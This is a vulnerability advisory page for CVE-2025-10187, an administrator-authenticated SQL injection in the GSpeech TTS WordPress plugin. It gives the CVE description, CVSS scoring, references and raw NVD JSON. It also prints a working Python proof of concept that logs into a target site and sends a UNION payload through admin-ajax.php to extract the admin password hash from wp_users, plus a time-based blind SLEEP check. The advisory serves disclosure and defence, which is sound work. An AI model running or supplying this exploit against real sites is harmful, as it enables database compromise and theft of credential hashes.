Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-10187 CVSS 4.9 MEDIUM

CVE-2025-10187

Published: 2025-10-18 07:15:35
Last Modified: 2026-04-15 00:35:42

Description

The GSpeech TTS – WordPress Text To Speech Plugin plugin for WordPress is vulnerable to SQL Injection via the 'field' parameter in all versions up to, and including, 3.17.13 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

GSpeech TTS Plugin <= 3.17.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-10187 PoC - GSpeech TTS WordPress Plugin SQL Injection # Vulnerability: SQL Injection via 'field' parameter in gspeech_backend.php # Affected: All versions <= 3.17.13 # Auth required: Administrator-level import requests TARGET_URL = "https://target-wordpress-site.com" ADMIN_USER = "admin" ADMIN_PASS = "password123" # Step 1: Login as administrator session = requests.Session() login_data = { "log": ADMIN_USER, "pwd": ADMIN_PASS, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Exploit SQL Injection via 'field' parameter # The vulnerable endpoint accepts the 'field' parameter without proper escaping # Using UNION-based injection to extract admin password hash sqli_payload = "1 UNION SELECT user_pass FROM wp_users WHERE ID=1 -- " vulnerable_endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" exploit_params = { "action": "gspeech_backend", "field": sqli_payload } response = session.post(vulnerable_endpoint, data=exploit_params) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # Alternative: Time-based blind SQLi time_payload = "1 AND (SELECT SLEEP(5)) -- " import time start = time.time() session.post(vulnerable_endpoint, data={"action": "gspeech_backend", "field": time_payload}) elapsed = time.time() - start print(f"Time-based blind SQLi test - Elapsed: {elapsed:.2f}s (expected ~5s if vulnerable)")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10187", "sourceIdentifier": "[email protected]", "published": "2025-10-18T07:15:34.520", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The GSpeech TTS – WordPress Text To Speech Plugin plugin for WordPress is vulnerable to SQL Injection via the 'field' parameter in all versions up to, and including, 3.17.13 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/gspeech/trunk/includes/gspeech_backend.php#L109", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3376552%40gspeech&new=3376552%40gspeech&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/484dded3-dbe7-4a11-877a-a19504d30206?source=cve", "source": "[email protected]"}]}}